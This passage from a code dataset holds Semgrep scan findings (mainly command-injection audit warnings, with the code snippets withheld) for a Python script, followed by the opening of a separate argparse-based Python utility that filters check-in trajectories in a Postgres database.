"rules.python.lang.security.audit.dangerous-system-call-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 117, "line_end": 117, "column_start": 5, "column_end": 86, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "path": "/tmp/tmpb8jm_z1l/194bce666e34c12c.py", "start": {"line": 117, "col": 5, "offset": 4115}, "end": {"line": 117, "col": 86, "offset": 4196}, "extra": {"message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-audit_194bce666e34c12c_1cb55b46", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 118, "line_end": 118, "column_start": 5, "column_end": 78, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "path": "/tmp/tmpb8jm_z1l/194bce666e34c12c.py", "start": {"line": 118, "col": 5, "offset": 4201}, "end": {"line": 118, "col": 78, "offset": 4274}, "extra": {"message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-audit_194bce666e34c12c_a520f11a", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 119, "line_end": 119, "column_start": 5, "column_end": 80, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "path": "/tmp/tmpb8jm_z1l/194bce666e34c12c.py", "start": {"line": 119, "col": 5, "offset": 4279}, "end": {"line": 119, "col": 80, "offset": 4354}, "extra": {"message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_194bce666e34c12c_cd28e0d5", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 122, "line_end": 122, "column_start": 13, "column_end": 31, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/194bce666e34c12c.py", "start": {"line": 122, "col": 13, "offset": 4419}, "end": {"line": 122, "col": 31, "offset": 4437}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-audit_194bce666e34c12c_22e24b12", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 140, "line_end": 140, "column_start": 5, "column_end": 56, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "path": "/tmp/tmpb8jm_z1l/194bce666e34c12c.py", "start": {"line": 140, "col": 5, "offset": 4736}, "end": {"line": 140, "col": 56, "offset": 4787}, "extra": {"message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-audit_194bce666e34c12c_85535a77", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 141, "line_end": 141, "column_start": 5, "column_end": 56, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "path": "/tmp/tmpb8jm_z1l/194bce666e34c12c.py", "start": {"line": 141, "col": 5, "offset": 4792}, "end": {"line": 141, "col": 56, "offset": 4843}, "extra": {"message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-audit_194bce666e34c12c_7e04d76e", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 142, "line_end": 142, "column_start": 5, "column_end": 58, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "path": "/tmp/tmpb8jm_z1l/194bce666e34c12c.py", "start": {"line": 142, "col": 5, "offset": 4848}, "end": {"line": 142, "col": 58, "offset": 4901}, "extra": {"message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-audit_194bce666e34c12c_1c07159d", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 143, "line_end": 143, "column_start": 5, "column_end": 56, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "path": "/tmp/tmpb8jm_z1l/194bce666e34c12c.py", "start": {"line": 143, "col": 5, "offset": 4906}, "end": {"line": 143, "col": 56, "offset": 4957}, "extra": {"message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-audit_194bce666e34c12c_23932031", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 144, "line_end": 144, "column_start": 5, "column_end": 46, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "path": "/tmp/tmpb8jm_z1l/194bce666e34c12c.py", "start": {"line": 144, "col": 5, "offset": 4962}, "end": {"line": 144, "col": 46, "offset": 5003}, "extra": {"message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-audit_194bce666e34c12c_a5940ce4", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 146, "line_end": 146, "column_start": 5, "column_end": 65, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "path": "/tmp/tmpb8jm_z1l/194bce666e34c12c.py", "start": {"line": 146, "col": 5, "offset": 5013}, "end": {"line": 146, "col": 65, "offset": 5073}, "extra": {"message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_194bce666e34c12c_4490212d", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 148, "line_end": 148, "column_start": 10, "column_end": 89, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/194bce666e34c12c.py", "start": {"line": 148, "col": 10, "offset": 5088}, "end": {"line": 148, "col": 89, "offset": 5167}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_194bce666e34c12c_ce3809cf", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 157, "line_end": 157, "column_start": 13, "column_end": 31, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/194bce666e34c12c.py", "start": {"line": 157, "col": 13, "offset": 5474}, "end": {"line": 157, "col": 31, "offset": 5492}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 20 | true | [
"CWE-78",
"CWE-78",
"CWE-78",
"CWE-78",
"CWE-78",
"CWE-78",
"CWE-78",
"CWE-78",
"CWE-78",
"CWE-78",
"CWE-78",
"CWE-78",
"CWE-78",
"CWE-78",
"CWE-78"
] | [
"rules.python.lang.security.audit.dangerous-system-call-audit",
"rules.python.lang.security.audit.dangerous-system-call-audit",
"rules.python.lang.security.audit.dangerous-system-call-audit",
"rules.python.lang.security.audit.dangerous-system-call-audit",
"rules.python.lang.security.audit.dangerous-system-c... | [
"security",
"security",
"security",
"security",
"security",
"security",
"security",
"security",
"security",
"security",
"security",
"security",
"security",
"security",
"security"
] | [
"LOW",
"LOW",
"LOW",
"LOW",
"LOW",
"LOW",
"LOW",
"LOW",
"LOW",
"LOW",
"LOW",
"LOW",
"LOW",
"LOW",
"LOW"
] | [
"HIGH",
"HIGH",
"HIGH",
"HIGH",
"HIGH",
"HIGH",
"HIGH",
"HIGH",
"HIGH",
"HIGH",
"HIGH",
"HIGH",
"HIGH",
"HIGH",
"HIGH"
] | [
56,
63,
68,
73,
78,
83,
117,
118,
119,
140,
141,
142,
143,
144,
146
] | [
56,
63,
68,
73,
78,
83,
117,
118,
119,
140,
141,
142,
143,
144,
146
] | [
46,
16,
16,
16,
16,
16,
5,
5,
5,
5,
5,
5,
5,
5,
5
] | [
83,
64,
62,
62,
62,
62,
86,
78,
80,
56,
56,
58,
56,
46,
65
] | [
"A01:2017 - Injection",
"A01:2017 - Injection",
"A01:2017 - Injection",
"A01:2017 - Injection",
"A01:2017 - Injection",
"A01:2017 - Injection",
"A01:2017 - Injection",
"A01:2017 - Injection",
"A01:2017 - Injection",
"A01:2017 - Injection",
"A01:2017 - Injection",
"A01:2017 - Injection",
"A01... | [
"Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.",
"Found dynamic conte... | [
7.5,
7.5,
7.5,
7.5,
7.5,
7.5,
7.5,
7.5,
7.5,
7.5,
7.5,
7.5,
7.5,
7.5,
7.5
] | [
"LOW",
"LOW",
"LOW",
"LOW",
"LOW",
"LOW",
"LOW",
"LOW",
"LOW",
"LOW",
"LOW",
"LOW",
"LOW",
"LOW",
"LOW"
] | [
"HIGH",
"HIGH",
"HIGH",
"HIGH",
"HIGH",
"HIGH",
"HIGH",
"HIGH",
"HIGH",
"HIGH",
"HIGH",
"HIGH",
"HIGH",
"HIGH",
"HIGH"
] | runAllFluxConvert.py | /runAllFluxConvert.py | ezsolti/FGS2Mbackup | MIT | |
2024-11-18T20:15:57.750120+00:00 | 1,565,870,709,000 | fcee7b7ae27e31d5ce7011187041f437a153ff30 | 2 | {
"blob_id": "fcee7b7ae27e31d5ce7011187041f437a153ff30",
"branch_name": "refs/heads/master",
"committer_date": 1565870709000,
"content_id": "2cae82456e034a9583df06a9086d2073ebb55579",
"detected_licenses": [
"MIT"
],
"directory_id": "416b6873f605a1fba85999956889bb7a7e7f05c3",
"extension": "py",
"filename": "trajectory_filtering.py",
"fork_events_count": 0,
"gha_created_at": 1597761531000,
"gha_event_created_at": 1597761532000,
"gha_language": null,
"gha_license_id": "MIT",
"github_id": 288481378,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 11314,
"license": "MIT",
"license_type": "permissive",
"path": "/dataset-utils/trajectory_filtering.py",
"provenance": "stack-edu-0054.json.gz:570848",
"repo_name": "falcaopetri/trajectory-data",
"revision_date": 1565870709000,
"revision_id": "7f81343086ccd00d3d9f52899a7032d987fc0a66",
"snapshot_id": "01cb8485e3663326eb0c48ec26c070dfd80751f0",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/falcaopetri/trajectory-data/7f81343086ccd00d3d9f52899a7032d987fc0a66/dataset-utils/trajectory_filtering.py",
"visit_date": "2022-12-02T13:54:13.348530"
} | 2.484375 | stackv2 | from core.logger import Logger
from core.database import Database
import argparse
logger = Logger()
db = Database()
arg_parser = argparse.ArgumentParser(description='Segment trajectories.')
arg_parser.add_argument('dbname',
help='The database name.',
type=str)
arg_parser.add_argument('origtable',
help='The database trajectory table.',
type=str)
arg_parser.add_argument('totable',
help='The database trajectory table to be created with the filtered trajectories.',
type=str)
arg_parser.add_argument('tidcol',
help='The name of the column to be created in the ' +
'database table for holding the new trajectory IDs.',
type=str)
arg_parser.add_argument('classcol',
help='The name of the class column of trajectories.',
type=str)
arg_parser.add_argument('--dbhost',
default='localhost',
help='The database host (default: localhost).',
type=str)
arg_parser.add_argument('--dbuser',
default='postgres',
help='The database username (default: postgres).',
type=str)
arg_parser.add_argument('--dbpass',
default='postgres',
help='The database password (default: postgres).',
type=str)
arg_parser.add_argument('--filter-category',
help='Whether or not to filter categories (no category and broad categories).',
action='store_true')
arg_parser.add_argument('--filter-duplicates',
default=-1,
help='The interval in minutes to remove duplicate check-ins (-1 means no removal) (default: -1).',
type=int)
arg_parser.add_argument('--min-traj-length',
default=1,
help='The minimum length of trajectories (default: 1).',
type=int)
arg_parser.add_argument('--min-traj-count',
default=1,
help='The minimum number of trajectories per class (default: 1).',
type=int)
arg_parser.add_argument('--usercol',
default='anonymized_user_id',
help='The user id column of check-ins.',
type=str)
arg_parser.add_argument('--venuecol',
default='venue_id',
help='The venue id column of check-ins.',
type=str)
